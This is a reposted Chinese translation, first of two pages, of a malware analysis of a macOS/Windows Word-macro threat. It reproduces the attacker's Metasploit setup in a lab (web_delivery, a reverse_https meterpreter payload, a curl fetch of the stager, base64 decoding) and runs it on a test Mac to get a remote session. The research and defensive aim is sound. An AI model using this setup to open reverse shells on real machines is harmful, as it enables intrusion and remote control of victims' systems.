欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

针对Mac OS X和Windows两大系统的恶意word文档分析(二)

来源:本站整理 作者:佚名 时间:2017-04-11 TAG: 我要投稿

在3月22号我们发布的文章,(黑吧安全网地址) 中, FortiGuard实验室介绍了一款针对于MACOS和WINDOWS的新Word宏恶意软件。 在对这款恶意软件进一步调查之后,我们确信在成功感染之后,后渗透的meterperter代理会运行在目标的系统上。Meterpreter是Metasploit的一部分,更多的信息可以在这里看到。
为了让Meterpreter成功运行,攻击者的服务器上一定会运行着Metasploit来作为控制中心控制被感染的系统。 因为攻击者的服务器并没有作出任何响应,我们决定安装 Metasploit来确认我们的观察。
这篇博客提供了我们设置的服务器来进行攻击行为的复现,来看看攻击者可以在受感染的系统上做什么。
测试环境
测试环境包含了三台64位虚拟机,分别运行着windows, macos和kali。其中windows和macos分别作为受感染的系统,而kali作为运行着Metasploit的攻击者服务器。
下面是三台服务器的IP地址:
Windows 7: 192.168.71.127
Mac OS X: 192.168.71.128
Kali Linux: 192.168.71.129
设置Metasploit
首先,我们在安装着Metasploit的Kali虚拟机上新建一个包含着设置Metasploit所需命令的脚本。

图1 脚本文件的内容
输入msfconsole -q -r osx_meterpreter_test来在安静模式下(-q)执行Metasploit,并加载脚本文件(-r)。

图2 运行Metasploit
一旦加载完之后,运行show options来查看这次会话中的Metasploit的当前配置。
我们这次测试使用了两个Metasploit组件,一个是web_delivery模块,另外一个是reverse_https的payload。
SRVHOST和 LHOST两个参数是用来设置kali系统的IP(192.168.71.129)。 IP地址作为一监听(对于回传的连接,监听在TCP/443本地端口上) 同时作为一个服务端(监听在tcp/8080(SRVPORT)) 来传递reverse_https 这个payload。
show options命令隐藏了某些只能在show advanced命令下查看的设置。唯一没被显示的设置是StagerVerifySSLCert,而这个参数我们设置为false。这样可以防止在建立安全通信时验证SSL证书的有效性。

图3 显示设置攻击时的选项
下一步是执行run命令,意味着开启了HTTPS 反弹处理/服务,这样它就准备好了与靶机的连接。看图4,一段python脚本已经生成,等待感染系统来运行。

图4
但是不要直接在靶机上执行这段代码,而是要看HTTPS请求的数据服务端是如何作回应的。 运行curl -k https://192.168.71.129:8080/, 我们可以看到一段python脚本代码被接收了。

图5 返回靶机的脚本
如果我们把在恶意宏是发现的代码与上一步生成的Metasploit代码做对比,很容易就能看出相同的元素(黄色高亮),但是明显base64编码的内容不同。

下一步就是解码base64的数据来查看将会在靶机上执行的代码。 为了完成这一步。调用一下base64工具就足够了,而且也可以在Metasploit的界面上执行。
命令语法是echo “” | base64 -d

图6 解码base64数据
在恶意软件的样本中,base64的解码数据被传递到了ExecuteForOSX()函数中(左侧)。 再一次,通过对比两段代码,我们可以看到它们是类似的,当然如果不算URL的话。

演示对Mac OS X的攻击
接下来,在Mac OS X的机器上,我们创建一个新文件名为"osx_meterpreter.py",这个文件包含着上边表格右侧的代码。然后通过调用Python解释器来执行这一段脚本。

图7 在 Mac OS X上运行python脚本
我们可以看到程序并没有出任何错误,双击666。
当我们返回Kali上的Metasploit控制台时,我们可以看到一个meterpreter会话已经连接了。 这个sessions命令可以看到目前的meterpreter会话。 输出显示了一个可用的类型为"meterpreter python/osx" 的会话。它表明会话正确的建立了。

图8 一个打开meterpreter会话。
命令sessions -i 1来启动这个会话一个交互的shell, 如meterpreter控制台显示的一样。 我们执行的第一个命令是meterpreter命令: sysinfo, 这个命令收集靶机的信息,然后如图9一样显示出来。在这个场景中,它折中的显示了一个Mac OS X机器 的信息。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载